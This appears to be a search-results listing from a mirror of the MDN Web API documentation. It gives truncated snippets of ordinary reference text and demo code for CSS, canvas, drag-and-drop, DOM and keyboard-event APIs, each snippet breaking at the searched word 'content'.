content = event.data; }; channel.onmessageerror = (event) => { console.log(event); }; specifications ...
CSSStyleDeclaration.setProperty() - Web APIs
trols"> <button class="border">border</button> <button class="bgcolor">background</button> <button class="color">text</button> </div> <div class="box"> <p>box</p> </div> css html { background: orange; font-family: sans-serif; height: 100%; } body { height: inherit; width: 80%; min-width: 500px; max-width: 1000px; margin: 0 auto; } .controls { display: flex; justify-
content: space-around; align-items: center; } div button { flex: 1; margin: 20px; height: 30px; line-height: 30px; } .box { display: flex; justify-
content: center; align-items: center; height: calc(100% - 70px); } .box p { width: 50%; text-align: center; font-weight: bold; font-size: 40px; height: 150px; line-height: 150px; background: red; border: 5px solid purple; ...
CSS Counter Styles - Web APIs
the css counter styles module allows to define custom counter styles, which can be used for css list-marker and generated-
content counters.
CSS Painting API - Web APIs
the css painting api — part of the css houdini umbrella of apis — allows developers to write javascript functions that can draw directly into an element's background, border, or
content.
Using the CSS Typed Object Model - Web APIs
let's write a plain paragraph, apply no styles, and inspect a few of its css properties by returning a table with the unit and value: <p> this is a paragraph with some
content.
CanvasRenderingContext2D.arcTo() - Web APIs
"radius" min=0 max=100 value=50> <label for="radius" id="radius-output">50</label> </div> <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const controlout = document.getelementbyid('radius-output'); const control = document.getelementbyid('radius'); control.oninput = () => { controlout.text
content = r = control.value; }; const mouse = { x: 0, y: 0 }; let r = 100; // radius const p0 = { x: 0, y: 50 }; const p1 = { x: 100, y: 100 }; const p2 = { x: 150, y: 50 }; const p3 = { x: 200, y: 100 }; const labelpoint = function (p, offset, i = 0){ const {x, y} = offset; ctx.beginpath(); ctx.arc(p.x, p.y, 2, 0, math.pi * 2); ctx.fill(); ctx.filltext(`${i}:(${p.x}, ${p...
CanvasRenderingContext2D.createPattern() - Web APIs
t var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var img = new image(); img.src = 'https://udn.realityripple.com/samples/04/aaeaf9aac4.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 300, 300); }; creating a pattern from a canvas in this example we create a pattern from the
contents of an offscreen canvas.
CanvasRenderingContext2D.drawFocusIfNeeded() - Web APIs
'blue' : 'black'; ctx.filltext(el.text
content, x + width / 2, y + height / 2); // define clickable area ctx.beginpath(); ctx.rect(x, y, width, height); // draw focus ring, if appropriate ctx.drawfocusifneeded(el); } result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.drawfocusifneeded' in that specification.
A basic ray-caster - Web APIs
=) the ray-caster the nice people here have manually copied my files up so you can take a look, and for your hacking enjoyment i've posted the individual file
contents as code listings (see below).
Canvas tutorial - Web APIs
the examples provided should give you some clear ideas about what you can do with canvas, and will provide code snippets that may get you started in building your own
content.
Channel Messaging API - Web APIs
the other browsing context can listen for the message using messageport.onmessage, and grab the
contents of the message using the event's data attribute.
ClipboardItem.getType() - Web APIs
async function getclipboard
contents() { try { const clipboarditems = await navigator.clipboard.read(); for (const clipboarditem of clipboarditems) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status ...
Clipboard API - Web APIs
access to the
contents of the clipboard is gated behind the permissions api: the clipboard-write permission is granted automatically to pages when they are in the active tab.
Comment() - Web APIs
the comment() constructor returns a newly created comment object with the optional domstring given in parameter as its textual
content.
CompositionEvent.data - Web APIs
this value doesn't change even if
content changes the selection range; rather, it indicates the string that was selected when composition started.
Console.dir() - Web APIs
the output is presented as a hierarchical listing with disclosure triangles that let you see the
contents of child objects.
Console.dirxml() - Web APIs
the output is presented as a hierarchical listing of expandable nodes that let you see the
contents of child nodes.
console - Web APIs
this listing lets you use disclosure triangles to examine the
contents of child objects.
CustomElementRegistry.get() - Web APIs
examples customelements.define('my-paragraph', class extends htmlelement { constructor() { super(); let template = document.getelementbyid('my-paragraph'); let template
content = template.
content; const shadowroot = this.attachshadow({mode: 'open'}) .appendchild(template
content.clonenode(true)); } }) // return a reference to the my-paragraph constructor let ctor = customelements.get('my-paragraph'); specifications specification status comment html living standardthe definition of 'customelements.get()' in that specification.
DOMConfiguration - Web APIs
pre-defined parameters: "canonical-form", "cdata-sections", "check-character-normalization", "comments", "datatype-normalization", "element-
content-whitespace", "entities", "error-handler", "infoset", "namespaces", "namespace-declarations", "normalize-characters","schema-location", "schema-type", "split-cdata-sections", "validate", "validate-if-schema", "well-formed" properties domconfiguration.parameternames read only is a domstringlist methods domconfiguration.cansetparameter() returns a boolean domconfiguration.getparameter() returns a domuserdata domconfiguration.setparameter() sets a parameter specification http://www.w3.org/tr/dom-level-3-cor...mconfiguration ...
DOMMatrix - Web APIs
dommatrix.setmatrixvalue() replaces the
contents of the matrix with the matrix described by the specified transform or transforms.
DataTransfer.clearData() - Web APIs
</span> <span class="tweaked" id="target">drop zone</span> <div>status: <span id="status">drag to start</span></div> <div>data is: <span id="data">uninitialized</span></div> css span.tweaked { display: inline-block; margin: 1em 0; padding: 1em 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript window.addeventlistener('dom
contentloaded', function () { // select html elements var draggable = document.getelementbyid('source'); var dropable = document.getelementbyid('target'); var status = document.getelementbyid('status'); var data = document.getelementbyid('data'); var dropped = false; // register event handlers draggable.addeventlistener('dragstart', dragstarthandler); draggable.addeventlistener('dragen...
DataTransfer.effectAllowed - Web APIs
<!doctype html> <html lang=en> <title>examples of datatransfer.{dropeffect,effectallowed} properties</title> <meta
content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); // add this element's id to the drag...
DataTransfer.getData() - Web APIs
html
content <div id="div1" ondrop="drop(event)" ondragover="allowdrop(event)"> <span id="drag" draggable="true" ondragstart="drag(event)">drag me to the other box</span> </div> <div id="div2" ondrop="drop(event)" ondragover="allowdrop(event)"></div> css
content #div1, #div2 { width:100px; height:50px; padding:10px; border:1px solid #aaaaaa; } javascript
content function allowdrop(a...
DataTransfer.items - Web APIs
<!doctype html> <html lang=en> <title>examples of datatransfer.{types,items} properties</title> <meta
content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart: target.id = " + ev.target.id); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text/plain", ev.target.id); ev...
DataTransfer.setData() - Web APIs
<!doctype html> <html lang=en> <title>examples of datatransfer's setdata(), getdata() and cleardata()</title> <meta
content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; // set the drag'...
DataTransfer.setDragImage() - Web APIs
demo <!doctype html> <html lang=en> <title>example of datatransfer.setdragimage()</title> <meta name="viewport"
content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart"); // set the drag's format and data.
DataTransfer.types - Web APIs
<!doctype html> <html lang=en> <title>examples of datatransfer.{types,items} properties</title> <meta
content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart: target.id = " + ev.target.id); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text/plain", ev.target.id); ev...
DedicatedWorkerGlobalScope.onmessage - Web APIs
var myworker = new worker("worker.js"); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.onmessage = function(e) { result.text
content = e.data; console.log('message received from worker'); } in the worker.js script, a dedicatedworkerglobalscope.onmessage handler is used to handle messages from the main script: onmessage = function(e) { console.log('message received from main script'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message back to main script'); postmessage(workerresul...
DeprecationReportBody - Web APIs
de = document.createtextnode('report ' + (i + 1) + ', type: ' + reports[i].type); listitem.appendchild(textnode); let innerlist = document.createelement('ul'); listitem.appendchild(innerlist); list.appendchild(listitem); for (let key in reports[i].body) { let innerlistitem = document.createelement('li'); let keyvalue = reports[i].body[key]; innerlistitem.text
content = key + ': ' + keyvalue; innerlist.appendchild(innerlistitem); } } } the reports parameter contains an array of all the reports in the observer's report queue.
Detecting device orientation - Web APIs
in particular, hand-held devices such as mobile phones can use this information to automatically rotate the display to remain upright, presenting a wide-screen view of the web
content when the device is rotated so that its width is greater than its height.
DirectoryReaderSync - Web APIs
console.log(fileentry.name); }); }); }; worker.postmessage({'cmd': 'list'}); the following is worker.js code that gets the
contents of the directory.
Document() - Web APIs
the document constructor creates a new document object that is a web page loaded in the browser and serving as an entry point into the page's
content.
Document.URL - Web APIs
syntax const url = document.url example javascript document.getelementbyid("url").text
content = document.url; html <p id="urltext"> url:<br/> <span id="url">url goes here</span> </p> result specifications specification status comment domthe definition of 'document.url' in that specification.
Document.adoptNode() - Web APIs
example const iframe = document.queryselector('iframe'); const iframeimages = iframe.
contentdocument.queryselectorall('img'); const newparent = document.getelementbyid('images'); iframeimages.foreach(function(imgel) { newparent.appendchild(document.adoptnode(imgel)); }); notes before they can be inserted into the current document, nodes from external documents should either be: cloned using document.importnode(); or adopted using document.adoptnode().
Document.characterSet - Web APIs
users can override the developer-specified encoding inside the
content-type header or inline like <meta charset="utf-8">, such as with firefox's view → text encoding menu.
Document.close() - Web APIs
syntax document.close(); example // open a document to write to it document.open(); // write the
content of the document document.write("<p>the one and only
content.</p>"); // close the document document.close(); specifications specification status comment html living standardthe definition of 'document.close()' in that specification.
Document.createDocumentFragment() - Web APIs
html <ul id="ul"> </ul> javascript var element = document.getelementbyid('ul'); // assuming ul exists var fragment = document.createdocumentfragment(); var browsers = ['firefox', 'chrome', 'opera', 'safari', 'internet explorer']; browsers.foreach(function(browser) { var li = document.createelement('li'); li.text
content = browser; fragment.appendchild(li); }); element.appendchild(fragment); result specifications specification status comment domthe definition of 'document.createdocumentfragment()' in that specification.
Document.createElement() - Web APIs
html <!doctype html> <html> <head> <title>||working with elements||</title> </head> <body> <div id="div1">the text above has been created dynamically.</div> </body> </html> javascript document.body.onload = addelement; function addelement () { // create a new div element const newdiv = document.createelement("div"); // and give it some
content const new
content = document.createtextnode("hi there and greetings!"); // add the text node to the newly created div newdiv.appendchild(new
content); // add the newly created element and its
content into the dom const currentdiv = document.getelementbyid("div1"); document.body.insertbefore(newdiv, currentdiv); } web component example the following example snippet is taken from ou...
Document.createElementNS() - Web APIs
entns("http://www.w3.org/1999/xhtml", "div"); txtnode = document.createtextnode("this is text that was constructed dynamically with createelementns and createtextnode then inserted into the document using appendchild."); newdiv.appendchild(txtnode); container.appendchild(newdiv); } ]]></script> <vbox id="containerbox" flex="1"> <html:div> the script on this page will add dynamic
content below: </html:div> </vbox> </page> the example given above uses inline script which is not recommended in xhtml documents.
Document.designMode - Web APIs
example make an <iframe>'s document editable: iframenode.
contentdocument.designmode = "on"; specifications specification status comment html living standardthe definition of 'designmode' in that specification.
Document.documentURI - Web APIs
syntax const uri = document.documenturi example javascript document.getelementbyid("url").text
content = document.documenturi; html <p id="urltext"> url:<br/> <span id="url">url goes here</span> </p> result specifications specification status comment domthe definition of 'documenturi' in that specification.
Document.fullscreen - Web APIs
the obsolete document interface's fullscreen read-only property reports whether or not the document is currently displaying
content in full-screen mode.
Document.getElementsByClassName() - Web APIs
ltarea" style="width:98%;height:7em"></textarea> javascript // getelementsbyclassname only selects elements that have both given classes var allorangejuicebyclass = document.getelementsbyclassname('orange juice'); var result = "document.getelementsbyclassname('orange juice')"; for (var i=0, len=allorangejuicebyclass.length|0; i<len; i=i+1|0) { result += "\n " + allorangejuicebyclass[i].text
content; } // queryselector only selects full complete matches var allorangejuicequery = document.queryselectorall('.orange.juice'); result += "\n\ndocument.queryselectorall('.orange.juice')"; for (var i=0, len=allorangejuicequery.length|0; i<len; i=i+1|0) { result += "\n " + allorangejuicequery[i].text
content; } document.getelementbyid("resultarea").value = result; result specifications ...
Document.hasFocus() - Web APIs
html <p id="log">awaiting focus check.</p> <button onclick="openwindow()">open a new window</button> javascript function checkpagefocus() { let body = document.queryselector('body'); let log = document.getelementbyid('log'); if (document.hasfocus()) { log.text
content = 'this document has the focus.'; body.style.background = '#fff'; } else { log.text
content = 'this document does not have the focus.'; body.style.background = '#ccc'; } } function openwindow() { window.open('https://developer.mozilla.org/', 'mdn', 'width=640,height=320,left=150,top=150'); } // check page focus every 300 milliseconds setinterval(checkpagefocus, 300); result ...
Document.importNode() - Web APIs
example const iframe = document.queryselector("iframe"); const oldnode = iframe.
contentwindow.document.getelementbyid("mynode"); const newnode = document.importnode(oldnode, true); document.getelementbyid("container").appendchild(newnode); notes before they can be inserted into the current document, nodes from external documents should either be: cloned using document.importnode(); or adopted using document.adoptnode().
Document: keydown event - Web APIs
by clicking in it), then try pressing some keys.</p> <p id="log"></p> document.addeventlistener('keydown', logkey); function logkey(e) { log.text
content += ` ${e.code}`; } onkeydown equivalent document.onkeydown = logkey; specifications specification status ui events working draft ...
Document: keypress event - Web APIs
<p>press inside this iframe first to focus it, then try pressing keys on the keyboard.</p> <p id="log"></p> const log = document.getelementbyid('log'); document.addeventlistener('keypress', logkey); function logkey(e) { log.text
content += ` ${e.code}`; } onkeypress equivalent document.onkeypress = logkey; specifications specification status ui events working draft ...
Document: keyup event - Web APIs
by clicking in it), then try pressing some keys.</p> <p id="log"></p> const log = document.getelementbyid('log'); document.addeventlistener('keyup', logkey); function logkey(e) { log.text
content += ` ${e.code}`; } onkeyup equivalent document.onkeyup = logkey; specifications specification status ui events working draft ...
Document.open() - Web APIs
examples the following simple code opens the document and replaces its
content with a number of different html fragments, before closing it again.
Document.queryCommandState() - Web APIs
example html <div
contenteditable="true">select a part of this text!</div> <button onclick="makebold();">test the state of the 'bold' command</button> javascript function makebold() { var state = document.querycommandstate("bold"); switch (state) { case true: alert("the bold formatting will be removed from the selected text."); break; case false: alert("the selected text will be displayed in bold."); break; case null: alert...
Document.write() - Web APIs
example <html> <head> <title>write example</title> <script> function new
content() { document.open(); document.write("<h1>out with the old, in with the new!</h1>"); document.close(); } </script> </head> <body onload="new
content();"> <p>some original document
content.</p> </body> </html> notes the text you write is parsed into the document's structure model.
DocumentFragment - Web APIs
this interface is also of great use with web components: <template> elements contain a documentfragment in their htmltemplateelement.
content property.
DocumentOrShadowRoot.elementsFromPoint() - Web APIs
example html <div> <p>some text</p> </div> <p>elements at point 30, 20:</p> <div id="output"></div> javascript let output = document.getelementbyid("output"); if (document.elementsfrompoint) { let elements = document.elementsfrompoint(30, 20); for (var i = 0; i < elements.length; i++) { output.text
content += elements[i].localname; if (i < elements.length - 1) { output.text
content += " < "; } } } else { output.innerhtml = "<span style=\"color: red;\">" + "browser does not support <code>document.elementsfrompoint()</code>" + "</span>"; } specifications specification status shadow domthe definition of 'elementsfrompoint()' in that specification...
DocumentOrShadowRoot.nodeFromPoint() - Web APIs
examples html
content <div> <p>some text</p> </div> <p>top node at point 30, 20:</p> <div id="output"></div> javascript
content var output = document.getelementbyid("output"); if (document.nodefrompoint) { var node = document.nodefrompoint(30, 20); output.text
content += node.localname; } else { output.innerhtml = "<span style=\"color: red;\">" + "browser does not support <code>document.nodefrompoint...
DocumentOrShadowRoot.nodesFromPoint() - Web APIs
example html
content <div> <p>some text</p> </div> <p>nodes at point 30, 20:</p> <div id="output"></div> javascript
content var output = document.getelementbyid("output"); if (document.nodesfrompoint) { var nodes = document.nodesfrompoint(30, 20); for(var i = 0; i < nodes.length; i++) { output.text
content += nodes[i].localname; if (i < nodes.length - 1) { output.text
content += " < "; } }...
Examples of web and XML development using the DOM - Web APIs
table = document.getelementbyid('table0'); var row = table.insertrow(-1); var cell, text; for (var i = 0; i < 2; i++) { cell = row.insertcell(-1); text = 'row ' + row.rowindex + ' cell ' + i; cell.appendchild(document.createtextnode(text)); } </script> notes a table's innerhtml property should never be used to modify a table, although you can use it to write an entire table or the
content of a cell.
EXT_float_blend - Web APIs
this ensures that
content written before ext_float_blend was exposed by webgl will function as expected.
Element: auxclick event - Web APIs
html <button><h1>click me!</h1></button> css html { height: 100%; overflow: hidden; } body { height: inherit; display: flex; justify-
content: center; align-items: center; margin: 0; } button { border: 0; background-color: white; font-size: 8vw; display: block; width: 100%; height: 100%; } h1 { letter-spacing: 0.5rem; } result note: if you are using a three-button mouse, you'll notice that the onauxclick handler is run when any of the non-left mouse buttons are clicked (usually including any "special" buttons ...
Element.classList - Web APIs
syntax const elementclasses = elementnodereference.classlist; returns a domtokenlist representing the
contents of the element's class attribute.
Element.clientTop - Web APIs
have no significance regarding the client area.) the clienttop value is the distance from where the margin (yellow) area ends and the padding and
content areas (white) begin.
Element.getAttribute() - Web APIs
let nonce = script.getattribute('nonce'); // returns empty string instead of retrieving the nonce from the
content attribute, use the nonce property: let nonce = script.nonce; specifications specification status comment domthe definition of 'getattribute()' in that specification.
Element.getClientRects() - Web APIs
olltop = document.documentelement.scrolltop || document.body.scrolltop; var scrollleft = document.documentelement.scrollleft || document.body.scrollleft; tablerectdiv.style.margin = tablerectdiv.style.padding = '0'; tablerectdiv.style.top = (rect.top + scrolltop) + 'px'; tablerectdiv.style.left = (rect.left + scrollleft) + 'px'; // we want rect.width to be the border width, so
content width is 2px less.
Element: keypress event - Web APIs
<div> <label for="sample">focus the input and type something:</label> <input type="text" name="text" id="sample"> </div> <p id="log"></p> const log = document.getelementbyid('log'); const input = document.queryselector('input'); input.addeventlistener('keypress', logkey); function logkey(e) { log.text
content += ` ${e.code}`; } onkeypress equivalent input.onkeypress = logkey; specifications specification status ui events working draft ...
Element: keyup event - Web APIs
<input placeholder="click here, then press and release a key." size="40"> <p id="log"></p> const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.addeventlistener('keyup', logkey); function logkey(e) { log.text
content += ` ${e.code}`; } onkeyup equivalent input.onkeyup = logkey; specifications specification status ui events working draft ...
Element.localName - Web APIs
example (must be served with xml
content type, such as text/xml or application/xhtml+xml.) <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <script type="application/javascript"><![cdata[ function test() { var text = document.getelementbyid('text'); var circle = document.getelementbyid('circle'); text.value = "<svg:circle> has:\n" + "localname = '" + circle.localname + "'\n" + "namespaceuri = '" ...
Element.matches() - Web APIs
example <ul id="birds"> <li>orange-winged parrot</li> <li class="endangered">philippine eagle</li> <li>great white pelican</li> </ul> <script type="text/javascript"> var birds = document.getelementsbytagname('li'); for (var i = 0; i < birds.length; i++) { if (birds[i].matches('.endangered')) { console.log('the ' + birds[i].text
content + ' is endangered!'); } } </script> this will log "the philippine eagle is endangered!" to the console, since the element has indeed a class attribute with value endangered.
Element: mouseenter event - Web APIs
combined with the corresponding mouseleave (which is fired at the element when the mouse exits its
content area), the mouseenter event acts in a very similar way to the css :hover pseudo-class.
Element: overflow event - Web APIs
the overflow event is fired when an element has been overflowed by its
content or has been rendered for the first time in this state (only works for elements styled with overflow != visible).
Element.querySelector() - Web APIs
html <div> <h5>original
content</h5> <p> inside paragraph <span>inside span</span> inside paragraph </p> </div> <div> <h5>output</h5> <div id="output"></div> </div> javascript var baseelement = document.queryselector("p"); document.getelementbyid("output").innerhtml = (baseelement.queryselector("div span").innerhtml); result the result looks like this: notice how the "div span" selector still succes...
Element.releasePointerCapture() - Web APIs
html <div id="slider">slide me</div> css div { width: 140px; height: 50px; display: flex; align-items: center; justify-
content: center; background: #fbe; } javascript function beginsliding(e) { slider.onpointermove = slide; slider.setpointercapture(e.pointerid); } function stopsliding(e) { slider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { slider.style.transform = `translate(${e.clientx - 70}px)`; } const slider = document.getelementbyid('slider'); slider.onpoi...
Element: select event - Web APIs
examples selection logger <input value="try selecting some text in this element."> <p id="log"></p> function logselection(event) { const log = document.getelementbyid('log'); const selection = event.target.value.substring(event.target.selectionstart, event.target.selectionend); log.text
content = `you selected: ${selection}`; } const input = document.queryselector('input'); input.addeventlistener('select', logselection); onselect equivalent you can also set up the event handler using the onselect property: input.onselect = logselection; specifications specification status ui eventsthe definition of 'select' in that specification.
Element.setPointerCapture() - Web APIs
html <div id="slider">slide me</div> css div { width: 140px; height: 50px; display: flex; align-items: center; justify-
content: center; background: #fbe; } javascript function beginsliding(e) { slider.onpointermove = slide; slider.setpointercapture(e.pointerid); } function stopsliding(e) { slider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { slider.style.transform = `translate(${e.clientx - 70}px)`; } const slider = document.getelementbyid('slider'); slider.onpoi...
Element.shadowRoot - Web APIs
from here we use standard dom traversal techniques to find the <style> element inside the shadow dom and then update the css found inside it: function updatestyle(elem) { const shadow = elem.shadowroot; const childnodes = array.from(shadow.childnodes); childnodes.foreach(childnode => { if (childnode.nodename === 'style') { childnode.text
content = ` div { width: ${elem.getattribute('l')}px; height: ${elem.getattribute('l')}px; background-color: ${elem.getattribute('c')}; } `; } }); } specifications specification status comment domthe definition of 'shadowroot' in that specification.
Element.slot - Web APIs
examples in our simple-template example (see it live), we create a trivial custom element example called <my-paragraph> in which a shadow root is attached and then populated using the
contents of a template that contains a slot named my-text.
Event.returnValue - Web APIs
it has been adopted into the dom specification, primarily to ensure that existing web
content continues to function going forward.
EventListener - Web APIs
note: due to the need for compatibility with legacy
content, eventlistener accepts both a function and an object with a handleevent() property function.
EventSource() - Web APIs
examples var evtsource = new eventsource('sse.php'); var eventlist = document.queryselector('ul'); evtsource.onmessage = function(e) { var newelement = document.createelement("li"); newelement.text
content = "message: " + e.data; eventlist.appendchild(newelement); } note: you can find a full example on github — see simple sse demo using php.
EventSource: message event - Web APIs
var evtsource = new eventsource('sse.php'); var eventlist = document.queryselector('ul'); evtsource.addeventlistener('message', (e) => { var newelement = document.createelement("li"); newelement.text
content = "message: " + e.data; eventlist.appendchild(newelement); }); onmessage equivalent evtsource.onmessage = (e) => { var newelement = document.createelement("li"); newelement.text
content = "message: " + e.data; eventlist.appendchild(newelement); }; specifications specification status html living standardthe definition of 'message event' in that specification.
EventSource.onmessage - Web APIs
syntax eventsource.onmessage = function examples evtsource.onmessage = function(e) { var newelement = document.createelement("li"); newelement.text
content = "message: " + e.data; eventlist.appendchild(newelement); } note: you can find a full example on github — see simple sse demo using php.
Fetch basic concepts - Web APIs
: new object's type creating constructor guard setting of associated headers object request request() request request() with mode of no-cors request-no-cors response response() response error() or redirect() methods immutable a header's guard affects the set(), delete(), and append() methods which change the header's
contents.
File.File() - Web APIs
available options are as follows: type: a domstring representing the mime type of the
content that will be put into the file.
File.webkitRelativePath - Web APIs
html
content <input type="file" id="filepicker" name="filelist" webkitdirectory multiple /> <ul id="listing"></ul> javascript
content document.getelementbyid("filepicker").addeventlistener("change", function(event) { let output = document.getelementbyid("listing"); let files = event.target.files; for (let i=0; i<files.length; i++) { let item = document.createelement("li"); item.innerhtml = f...
FileList - Web APIs
it's also used for a list of files dropped into web
content when using the drag and drop api; see the datatransfer object for details on this usage.
FileReader.onload - Web APIs
the filereader.onload property contains an event handler executed when the load event is fired, when
content read with readasarraybuffer, readasbinarystring, readasdataurl or readastext is available.
GlobalEventHandlers.onanimationcancel - Web APIs
#box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative; background-color: #2233ff; display: flex; justify-
content: center; animation: 5s ease-in-out 0s infinite alternate both slidebox; } the animation's keyframes are described next, plotting a course from the top-left corner of the
content box to the bottom-right corner.
GlobalEventHandlers.onanimationiteration - Web APIs
#box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative; background-color: #2233ff; display: flex; justify-
content: center; animation: 2s ease-in-out 0s infinite alternate both paused slidebox; } the animation's keyframes are defined next; they describe an animation which causes the box to migrate from the top-left corner of the container to the bottom-right corner.
GlobalEventHandlers.onblur - Web APIs
html <input type="text" value="click here"> javascript let input = document.queryselector('input'); input.onblur = inputblur; input.onfocus = inputfocus; function inputblur() { input.value = 'focus has been lost'; } function inputfocus() { input.value = 'focus is here'; } result try clicking in and out of the form field, and watch its
contents change accordingly.
GlobalEventHandlers.oncanplay - Web APIs
the canplay event is fired when the user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of
content.
GlobalEventHandlers.oncanplaythrough - Web APIs
the canplaythrough event is fired when the user agent can play the media and estimates that enough data has been loaded to play the media up to its end without having to stop for further buffering of
content.
GlobalEventHandlers.oncontextmenu - Web APIs
html <div class="shape">spinning</div> <p class="note" hidden>click to unpause.</p> css @keyframes spin { from { transform: rotate(0); } to { transform: rotate(1turn); } } .shape { width: 8em; height: 8em; display: flex; align-items: center; justify-
content: center; animation: spin 18s linear infinite; background: lightsalmon; border-radius: 42%; margin: 1em; } .paused { background-color: #ddd; } .paused .shape { animation-play-state: paused; } javascript function pause(e) { body.classlist.add('paused'); note.removeattribute('hidden'); } function play(e) { body.classlist.remove('paused'); note.setattribute('hidden', ''); } ...
GlobalEventHandlers.ondblclick - Web APIs
html <p>double click anywhere in this example.</p> <p id="log"></p> javascript let log = document.getelementbyid('log'); document.ondblclick = logdoubleclick; function logdoubleclick(e) { log.text
content = `position: (${e.clientx}, ${e.clienty})`; } result specifications specification status comment html living standardthe definition of 'ondblclick' in that specification.
GlobalEventHandlers.ondrag - Web APIs
<!doctype html> <html lang=en> <title>examples of using the ondrag global event attribute</title> <meta
content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { cons...
GlobalEventHandlers.ondragend - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta
content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datat...
GlobalEventHandlers.ondragenter - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta
content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datat...
GlobalEventHandlers.ondragexit - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta
content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datat...
GlobalEventHandlers.ondragleave - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta
content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's border to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.se...
GlobalEventHandlers.ondragover - Web APIs
<!doctype html> <html lang=en> <title>examples of using the ondrag global event attribute</title> <meta
content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev)...
GlobalEventHandlers.ondragstart - Web APIs
<!doctype html> <html lang=en> <title>examples of using the ondrag global event attribute</title> <meta
content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev)...
GlobalEventHandlers.ondrop - Web APIs
<!doctype html> <html lang=en> <title>examples of using the ondrag global event attribute</title> <meta
content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { conso...
GlobalEventHandlers.onfocus - Web APIs
html <input type="text" value="click here"> javascript let input = document.queryselector('input'); input.onblur = inputblur; input.onfocus = inputfocus; function inputblur() { input.value = 'focus has been lost'; } function inputfocus() { input.value = 'focus is here'; } result try clicking in and out of the form field, and watch its
contents change accordingly.
GlobalEventHandlers.onkeydown - Web APIs
html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeydown = logkey; function logkey(e) { log.text
content += ` ${e.code}`; } result specifications specification status comment html living standardthe definition of 'onkeydown' in that specification.
GlobalEventHandlers.onkeyup - Web APIs
html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeyup = logkey; function logkey(e) { log.text
content += ` ${e.code}`; } result specifications specification status comment html living standardthe definition of 'onkeyup' in that specification.
